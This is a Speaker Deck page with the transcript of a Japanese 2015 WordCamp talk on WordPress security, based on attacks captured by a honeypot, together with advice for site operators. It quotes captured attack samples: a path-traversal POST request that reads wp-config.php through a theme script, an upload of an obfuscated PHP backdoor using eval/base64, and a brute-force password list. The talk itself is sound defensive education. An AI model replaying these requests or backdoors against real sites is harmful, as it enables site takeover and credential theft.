Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015
Search
yoshinori matsumoto
July 27, 2015
Technology
8
5.1k
攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015
WordCamp Kansai 2015
2015/07/26
yoshinori matsumoto
July 27, 2015
Tweet
Share
More Decks by yoshinori matsumoto
See All by yoshinori matsumoto
WordPress セキュリティガイド #wpmeetupkyoto / WP Security Guide
ym405nm
6
3.4k
FIDO2導入してみたを考えてみた / Around The Auth Capy Matsumoto
ym405nm
0
300
Hack L33t Fighters Ⅱ #owaspsendai
ym405nm
0
370
WordPress保安検査ガイド〜運用可能なセキュリティを始めるために〜 / wpcamp_haneda_security
ym405nm
1
700
CAPYのFIDOへの取り組み / Capy FIDO
ym405nm
0
180
WordPress 管理者がおさえておきたい Web アプリケーションセキュリティ / owasp-wordpress-meetup
ym405nm
1
1.6k
Extreme Honyepotter
ym405nm
0
860
コミュニティ活動からみるPHPセキュリティ / PHP Conference Kansai 2015
ym405nm
0
570
Other Decks in Technology
See All in Technology
Flutterコントリビューションのススメ
d_r_1009
1
350
Design and implementation of "Markdown to Google Slides" / phpconfuk 2025
k1low
1
390
内部品質・フロー効率・コミュニケーションコストを悪化させ現場を苦しめかねない16の組織設計アンチパターン[超簡易版] / 16 Organization Design Anti-Patterns for Software Development
mtx2s
2
200
Spring Boot利用を前提としたJavaライブラリ開発方法の提案
kokihoshihara
PRO
2
140
日々のSlackアラート確認運用をCustom Chat Modesで楽にした話 / 日々のSlackアラート確認運用をCustom Chat Modesで楽にした話
imamotohikaru
0
450
CodexでもAgent Skillsを使いたい
gotalab555
9
4.5k
コード1ミリもわからないけど Claude CodeでFigjamプラグインを作った話
abokadotyann
1
160
Copilotの精度を上げる!カスタムプロンプト入門.pdf
ismk
10
3.4k
Pythonで構築する全国市町村ナレッジグラフ: GraphRAGを用いた意味的地域検索への応用
negi111111
8
3.4k
從裝潢設計圖到 Home Assistant:打造智慧家庭的實戰與踩坑筆記
kewang
0
160
AIと自動化がもたらす業務効率化の実例: 反社チェック等の調査・業務プロセス自動化
enpipi
0
110
フライトコントローラPX4の中身(制御器)を覗いてみた
santana_hammer
1
140
Featured
See All Featured
Bash Introduction
62gerente
615
210k
CSS Pre-Processors: Stylus, Less & Sass
bermonpainter
359
30k
Into the Great Unknown - MozCon
thekraken
40
2.2k
For a Future-Friendly Web
brad_frost
180
10k
The Invisible Side of Design
smashingmag
302
51k
Scaling GitHub
holman
463
140k
What's in a price? How to price your products and services
michaelherold
246
12k
Facilitating Awesome Meetings
lara
57
6.6k
Six Lessons from altMBA
skipperchong
29
4.1k
How to train your dragon (web standard)
notwaldorf
97
6.4k
The MySQL Ecosystem @ GitHub 2015
samlambert
251
13k
Helping Users Find Their Own Way: Creating Modern Search Experiences
danielanewman
31
2.9k
Transcript
攻撃者からみた WordPressセキュリティ 松本 悦宜 @ym405nm 発表 2015/07/27 加筆修正 2015/07/28
自己紹介 • 松本 悦宜 (まつもと よしのり) • 神戸デジタル・ラボ セキュリティソリューション事業部 •
セキュリティ診断 / コンサルティング • 講演: OWASP AppSec APAC 2014, Hack In The Box Amsterdam HAXPO 2014, HTML5とか勉強会 • 共著:WordPressプロフェッショナル養成読本(技術評論社) • 脆弱性報告: Welcart、MailPoet Plugin など @ym405nm
目次 • 現状 • 攻撃者について • 実際に攻撃されてみた • 傾向と対策 •
まとめ
WordPress セキュリティの現状
WordPress = 狙われる? 熊本競輪でサイト改ざん - 原因はWPプラグイン「FancyBox」の脆弱性 http://www.security-next.com/056249l
現状 マルウェアが設置されているサイトのうち 19% が WordPressという調査も
脆弱性の数 昨年1年間に JVN に届けられている数は 17 件 http://jvndb.jvn.jp/
脆弱性の数 関連ソフトウェアも含めると 301 件 ※例外が含まれていたり、JVNに届けられていないものもあります 参考 Drupal : 81件
攻撃者について
誰がやってるのか? • ハクティビスト • 政治的主張など、自分たちの主張を通すためにサイトを改ざんする • 改ざんしたものを目立つようにアピールする • マルウェア配布者 •
難読化したスクリプトなどを仕込み訪問者にマルウェア感染させる • 標的型攻撃者グループ • 使用するマルウェアのホスティングとして使用する • 攻撃者と通信をし、他社への攻撃に利用される
ハクティビストによる攻撃事例 • よく見られる改ざんパターン HACKED BY A HACKER For Sale!! ①
攻撃者の名前や主張が 表示される場合 ② 偽ブランドサイトに 書き換えられる場合
(会場のみ)
標的型攻撃に利用される例 踏み台サイト (WordPress) 攻撃者 標的となる組織 ①マルウエア設置 ②標的型メール送信 ③誘導
なぜ狙うのか?
なぜWordPressを狙うのか • 圧倒的なユーザ数 • 行き届かないユーザ管理 • 100人以上の編集者を抱えるサイト • 編集者、管理者の面識がほとんどないサイト •
サードパーティ製ソフトウェアの普及 • テーマやプラグイン • セキュリティレベルはそれぞれの開発者に依存する
なぜWordPressを狙うのか • 古いバージョンは脆弱性がわかっている • 脆弱性情報から詳細が推測可能なものも • ソースコードから攻撃手法が推測可能 • 攻撃手法が公開されているものもある
WordPress ≠あぶない! • シェアが多いという点で狙われがちではあるが… • 本体のセキュリティに対する意識が高い • セキュリティ対策が増えてきた 危ないというイメージよりも、 安全に運用しようという意識が大事
どのように?
どのように狙われているのか • 攻撃者は弱そうな WordPress を狙っている • どこを狙えばいいのか • URLから特徴がわかるのか •
脆弱なソフトウェアを使用しているサイトを探す • 脆弱性情報を共有するメーリングリスト • 脆弱性売買サイト ※ただし WordPress 関連の脆弱性は 無料で配布されていることが多い データを集めてみた
実際に攻撃されてみた
攻撃を集めるには WordPress WordPress 攻撃者 なぜ攻撃されない? なぜ攻撃される?
攻撃を集めるには WordPress 攻撃者 攻撃されるコンテンツとは?
どのように狙われているのか WP BOT ログ解析 コンテンツ投稿 攻撃/スキャン 収集 WP WP Demo
収集した結果
最近多く見られる攻撃パターン • アカウントクラッキング • wp-config.php 情報の窃取 • ファイルアップロード 簡単に事例をみてみましょう! WordPressに対する攻撃
テーマ・プラグインに対する攻撃
アカウントクラッキング 試行パスワード 回数 [server-name]123456 96 0 72 [server-name]123 49 [server-name][server-name]
48 [server-name]000000 48 [server-name]111 48 [server-name]111111 48 [server-name]1234 48 [server-name]12345 48 [server-name]12345678 48 [server-name]123abc 48 [server-name]222 48 [server-name]222222 48 [server-name]333 48 [server-name]444 48 [server-name]555 48 [server-name]555555 48 [server-name]666 48 [server-name]666666 48 ※ 2014年3月~5月計測
wp-config.php 情報の窃取 POST /wp-content/themes/dejavu/lib/scripts/dl-skin.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux amd64)
AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 Host: server Accept-Encoding: gzip Referer: http://server Accept-Charset: utf-8,windows-1251;q=0.7,*;q=0.6 Accept-Language: en-us,en;q=0.8 Keep-Alive: 300 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.4 Content-Length: 60 Content-Type: application/x-www-form-urlencoded _mysite_download_skin=..%2F..%2F..%2F..%2F..%2Fwp-config.php wp-config.php の内容を読み取ろうとしている (会場のみ) (会場のみ)
ファイルアップロード Content-Disposition: form-data; name="Filedata"; filename="ifire.php" Content-Type: text/plain <?php eval(gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FBk RxZn0f6q3Gcs+2Ys/abIVOPpfXmRTXvz5R4hjYd08eetcBFr0pQjoAYzFmIynUXP1twBDkLIVp
9ku+c7Gx5lyEF*******sO0rvRimq14L4AP4oNUm42E/uiMCbyyu1txOSxZtXwSNTvMO1d 1JuzCHsVdjwr534ek0DFSSeQXkmNVMhLNMB1rr79KCJIAAIIgUYKX/u8/f//+/d//AQ=="))); ?> 既知のファイルアップロード機能に認証がない脆弱性を使用して PHPファイルをアップロードしようとしている アップロードされたファイルは 攻撃者の攻撃用ツールとして動作される
ファイルアップロードって? 画像 攻撃用 WordPress テーマ 攻撃者によるアップロード方法 外部からアクセス可能 セキュリティ用語では「バックドア」と呼ばれ 攻撃者とサーバの裏口/勝手口のように使われる
(会場のみ)
悪用事例 • ページを改ざんされる • データベースの情報を持っていかれる • 他のサーバ/サイトの攻撃の踏み台になる
運用者の対策
運用者の対策(鉄則編) • WordPress やテーマ・プラグインは最新版に保つ • アカウントの管理をしっかりする • パスワードは強度なものにする • テーマ
/ プラグインの選定をする • メンテナンス頻度 • 脆弱性情報への対応頻度 • 明らかに不要なものは無効→削除しておく
運用者の対策(応用編) • セキュリティ拡張機能(プラグイン)や、セキュ リティ製品の導入を検討する
運用者の対策 • あわせて対策したい • サーバの選定 • ログの確認(ログイン履歴、アクセスログ) • 脆弱性情報の収集
まとめ
まとめ • 今後もWordPressに対する攻撃は減らない • 攻撃者は既知のテーマ / プラグインの脆弱性を使用す ることが多い • アカウントの管理や、テーマ
/ プラグインの管理を しっかりとする 安全なWordPressライフを!
おまけ
Follow me! 会員サイトとして、 適宜詳細データをお知らせする予定です 画面イメージ(開発中のものです) 今日ご紹介したデータは専用サイトにて公開予定 • 現在β版として運用中です • 正式版は有料アカウントとしてサービスの提供予定です
• 現在、レビュアーを募集中です。(主に開発者・セキュリティ関係者にお願いしています。レビュー期間中は無料でサービス をご使用いただけます) http://wp-portal.net
ご清聴ありがとうございました Any Questions ? Mail :
[email protected]
Twitter : ym405nm
Facebook : facebook.com/ym405nm